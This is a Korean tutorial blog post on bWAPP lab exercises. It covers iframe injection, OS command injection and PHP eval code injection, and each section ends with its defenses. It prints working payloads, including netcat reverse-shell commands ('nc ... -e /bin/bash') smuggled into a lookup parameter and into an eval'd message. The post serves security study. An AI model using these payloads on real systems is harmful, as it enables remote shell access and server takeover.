Part-1, 기타 인젝션

개보린·2021년 11월 25일
0

비박스

목록 보기
4/15

iframe 인젝션

  • 이 글을 무단으로 전재 및 재배포를 금지하고 있습니다.
  • 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 본 내용을 악의적인 목적으로 사용 시 그에 대한 법적 책임을 포함한 모든 책임은 당사자에게 있으며, 작성자는 어떠한 책임도 지지 않음을 밝힙니다.

iframe은 HTML문서 안에서 또 다른 HTML문서를 출력하는 태그
주로 악성 URL을 삽입한 후 사이즈를 0으로 설정하여 숨기는 방법을 사용
사용자가 의도하지 않은 악성 웹 사이트에 접속하거나 경고창을 띄울 수 있음

iframe.php페이지는 iframe태그를 사용하여 bWAPP 디렉터리에 있는 robots.txt 파일의 내용을 출력한다. URL에서 확인 할 수 있는 변수들을 자세히 살펴본다.

ParamUrl: robots.txt, PrameWidth: 250, ParamHeight: 250

Ineject 공격을 하기 위해 Succeed 메시지를 경고창으로 출력하는 페이지(bad.html)를 작성하고 URL에 삽입한다.

--bad.html
<html>
<head>
<h1>iframe Injection</h1>
<script>alert("Succeed")</script>
</head>
</html>
ParamUrl: robots.txt ➡ robots.txt"></iframe><iframe src="bad.html" width="250" heigth="250"></iframe>

injection이 되는 이유는 소스코드를 확인하면 쉽게 알 수 있다. GET을 사용하여 입력된 변수값을 그대로 가져와 아무 필터 없이 다시 iframe 태그 속성값에 insert하기 때문이다.

--iframei.php
<iframe frameborder="0" src="<?php echo xss($_GET["ParamUrl"])?>" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
--변조된 변수값이 적용된 스크립트(페이지 소스 보기)
<iframe frameborder="0" src="robots.txt"></iframe><iframe src="bad.html" width="250" height="250">" height="250" width="250"></iframe>

🔑대응방안

HTML태그에 사용되는 문자들을 인식하지 않게 인코딩한다.
htmlspecialchars(PHP)는 HTML에서 사용하는 특수 문자를 UTF-8로 반환한다.
htmlspecialchars함수에서 변환하는 특수문자는 & , " , ' , < , > 이다.

OS 커맨드 인젝션

취약한 변수로 시스템 명령어를 주입하여 서버 운영체제에 접근하는 공격
보통 웹 페이지에서 서버의 시스템 셸을 호출할 때 관리자가 의도한 명령어가 아닌 다른 명령어를 주입하여 서버 정보를 알아냄

--칼리리눅스 IP, 포트번호, bash쉘 실행
| nc 192.168.56.102 666 -e "/bin/bash"

--commenti.php 소스를 살펴보면 명령어가 실행되는 원리를 알 수 있다.
echo "<p align=\"left\">" . shell_exec("nslookup  " . commandi($target)) . "</p>";
//shell_exec(nslookup | nc 192.168.56.102 666 -e "/bin/bash")
//shell_exec: 쉘을 통해 명령을 실행하고 전체 출력을 문자열로 반환하는 시스템 함수

nc -l -p 666
//666포트 번호로 리스닝 모드 오픈

NC(NetCat)이란
cat명령어를 통해 파일을 쓰거나 읽듯이 NetCat 툴을 이용해 네트워크를 읽거나 쓸 수 있음
옵션
ㅣ : 리스닝 모드로 포트 오픈
p : 로컬 포트번호 지정
e : 실행할 프로그램 지정

🔑대응방안

escapeshellcmd 와 같은 함수사용으로 입력값을 우회한다.
escapeshellcmd 는 특수 문자에 백슬래시를 붙여 명령을 실행할 수 없도록 방어하는 함수
ex) ls -l | grep txt ➡ ls -l \| grep txt

PHP 코드 인젝션

PHP에서 exec() 함수나 eval() 함수를 사용한 경우 세미콜론을 사용하여 다른 함수를 실행하는 취약점이 있음

  • eval(string $code)
  • exec(string command, array &output = null, int &$result_code = null)
--phpi.php 소스코드
<p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>

message=Succeess; system("nc 192.168.56.102 666 -e /bin/bash")

칼리리눅스에서 넷켓을 사용하여 악의적인 스크립트 파일을 서버에 추가후 생성한 파일로 접속.

🔑대응방안

htmlspecialchars 함수에 'ENT_QUOTES'를 추가하여 특수 문자들을 HTML 엔티티 코드로 변환한다.

<?php echo htmlspecialchars($_REQUEST["message"], ENT_QUOTES, "UTF-8");;?>
//<p><i>Succeess; system(&quot;nc 192.168.56.102 666 -e /bin/bash&quot;)</i></p>
--특수문자 : HTML 엔티티(마크업과 충돌 회피를 위해 HTML에서 규정한 문자열 코드 규약, 예약어)
> : &gt;
< : &lt;
& : &amp;
" : &quot;
' : &#039;
profile
현역 '개'발자에서 '보'안 어'린'이로

0개의 댓글